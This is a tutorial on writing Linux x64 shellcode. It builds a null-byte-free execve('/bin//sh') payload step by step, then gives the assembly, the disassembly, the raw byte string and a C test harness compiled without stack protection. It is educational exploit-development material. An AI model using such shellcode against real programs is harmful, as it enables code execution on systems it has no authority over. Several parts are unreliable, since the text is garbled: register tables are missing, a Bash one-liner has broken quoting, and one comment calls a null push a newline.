Writing Shellcode for Linux x64

To compile the shellcode, we need the compiler and linker. We will use nasm and ld. To test the shellcode, we will write a small program in C. To compile it we need a gcc. For some tests, we need rasm2, which is a part of the framework radare2. For the writing of auxiliary functions, we will use Python.

What’s new in x64?

x64 is an extension of Intel IA-32 architecture. The main distinguishing feature of this architecture is that it supports the 64-bit general-purpose registers, 64-bit arithmetic and logic operations on integers and 64-bit virtual addresses.

All the 32-bit general-purpose registers remain the same, but they also receive their extended versions: rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp . In addition to these, there are several new general-purpose registers: r8, r9, r10, r11, r12, r13, r14, r15.

Since the addresses are now 64-bit, values on the stack may be 8 bytes long.

A new calling convention was introduced with 64-bit architecture. When you call the function each register is used for a specific purpose, namely:

What is syscall

Syscall is a method that is used by user-mode code to interact with a Linux kernel. It is used for various tasks: IO operation, read/write files, opening/closing programs, working with memory and network, and so on. To perform syscall you need to:

  1. Download the appropriate function in the register rax;
  2. Load the input parameters in other registers;
  3. Call interruption with the number 0x80 (since kernel version 2.6, this is done just by calling syscall).

Unlike Windows where you need to find the address of the required functions, in Linux everything is much simpler.

Syscall functions can be found here.

What is execve?

If you look at shellcodes here, you’ll see many of them use the function execve().

execve() has the following prototype:

int execve(const char * filename, char * const argv[], char * const envp[]);

It calls the program filename. filename program can either be an executable binary or script that begins with the line #! interpreter [optional-arg].

argv[] is a pointer to the array, and this is the argv [], which we see in C, Python, etc.

envp[] is a pointer to the array, describing the environment. In this case, not used, it will be set to null.

Basic requirements

We are going to write a position-independent code so that our shellcode could run anywhere in the program. Position-independent code is a code that can be executed regardless of what address it is loaded on.

Shellcodes use functions like strcpy(). These functions use the bytes 0x00, 0x0A, 0x0D as separators (depending on the platform and a function). Therefore, it is better to avoid such values. Otherwise, a function can copy our shellcode incompletely. Consider the following example:

rasm2 -a x86 -b 64 'push 0x00'
6a00

As you can see, the code push 0x00 compiled into the following bytes 6a 00. If we used this code, our shellcode would not have worked because function strcpy would only copy bytes until 0x00.

The shellcode can not use hardcoded addresses because we do not know these addresses in advance. For this reason, all addresses in the shellcode are obtained dynamically and stored on the stack.

Combining it all

The first step is to prepare options for the function execve() and then properly arrange them on the stack. The function prototype will be:

execve("/bin/sh/", ["/bin/sh"], null);

The second parameter is an array of argv[]. The first element of the array contains the path to the executable file.

The third parameter is the information about the environment, we do not need it, so it will be null.

First, we obtain a zero byte. We can not use code like mov eax, 0x00, because it leads to a null-byte code, so we use the following statement, which does the same thing:

xor rdx, rdx

We cab leave the value in register rdx, since we need the null value as the end value of the third parameter and as a string terminator (null byte).

To invert the string and translates it to hex you can use this python function:

def rev_str(s):
    rev = s[:: - 1]
    return rev.encode("hex")

Call this function to /bin/sh:

>>> rev.rev_str("/bin/sh")
'68732f6e69622f'

This string is 7 bytes long. Now, consider what would happen if we tried to put it into the stack:

rasm2 -a x86 -b 64 'mov rax, 68732f6e69622f; push rax'
48b82f62696e2f73680050

There is a zero byte that would break our shellcode. To avoid this, we can use the fact that Linux ignores successive slashes (e.g. /bin/sh and/bin//sh are the same thing).

>>> rev.rev_str("/bin//sh")
'68732f2f6e69622f'

Now, we have a string of 8 bytes. Let’s see what happens if we put it in the stack:

rasm2 -a x86 -b 64 'mov rax, 0x68732f2f6e69622f; push rax'
48b82f62696e2f2f736850

No zero bytes.

Then we look for information about the function execve(). We need a function number that we put in the rax. execve has a number 59. Let’s see what registers are used by this function:

Now, we assemble all the pieces together.

Push newline character (remember that all is done in reverse order):

xor rdx, rdx
push rdx

Push line /bin//sh:

mov rax, 0x68732f2f6e69622f
push rax

We get the address of the string /bin//sh from rsp and immediately put it in rdi:

mov rdi, rsp

The rsi needs to contain a pointer to an array of strings. In our case, this array will contain only the path to the executable file, so it is enough to put the address that contains the address of the string (in C language, pointer to a pointer). We already have this address. It was saved in the register rdi. The array must be terminated by argv null-byte, which we stored in the register rdx. So we can do:

push rdx
push rdi
mov rsi, rsp

Now rsi indicates the address on the stack, which is a pointer to the string /bin//sh.

Now we put the number of function execve() in rax:

xor rax, rax
mov al, 0x3b

We should have a file like this:

; runs /bin/sh

section .text
    global _start

_start:

    xor rdx, rdx
    push rdx
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 0x3b
    syscall

Let’s compile and link it for x64. For this:

nasm -f elf64 example.asm
ld -m elf_x86_64 -s -o example example.o

Now, we can use objdump -d example to see the resulting file:

Disassembly of section .text:
0000000000400080 <.text>:
400080: 48 31 d2 xor %rdx, %rdx
400083: 52 push %rdx
400084: 48 b8 2f 62 69 6e 2f movabs $0x68732f2f6e69622f, %rax
40008b: 2f 73 68 40008e: 50 push %rax
40008f: 48 89 e7 mov %rsp, %rdi
400092: 52 push %rdx
400093: 57 push %rdi
400094: 48 89 e6 mov %rsp, %rsi
400097: 48 31 c0 xor %rax, %rax
40009a: b0 3b mov $0x3b, %al
40009c: 0f 05 syscall

We can use the following Bash one-liner to get a shellcode like \x11\x22 ... from the binary:

for i in `objdump -d example | tr '\t' '' | tr '' '\n' | egrep '^[0-9a-f]{2}$' '; do echo -n "\x $ i"; done

The result is:

\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50
\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05

Testing shellcode

We can use the following C program (replace the string SHELLCODE with your shellcode) to test the shellcode,:

/* Shellcode test program */
char shellcode[] = "SHELLCODE";
int main () {
    void(*f)() = (void(*)())shellcode; f(); return 0;
}

Then compile:

gcc -m64 -fno-stack-protector -z execstack -o shellcode_test shellcode_test.c

The resulting program is shellcode_test. When you run the program, you should get sh.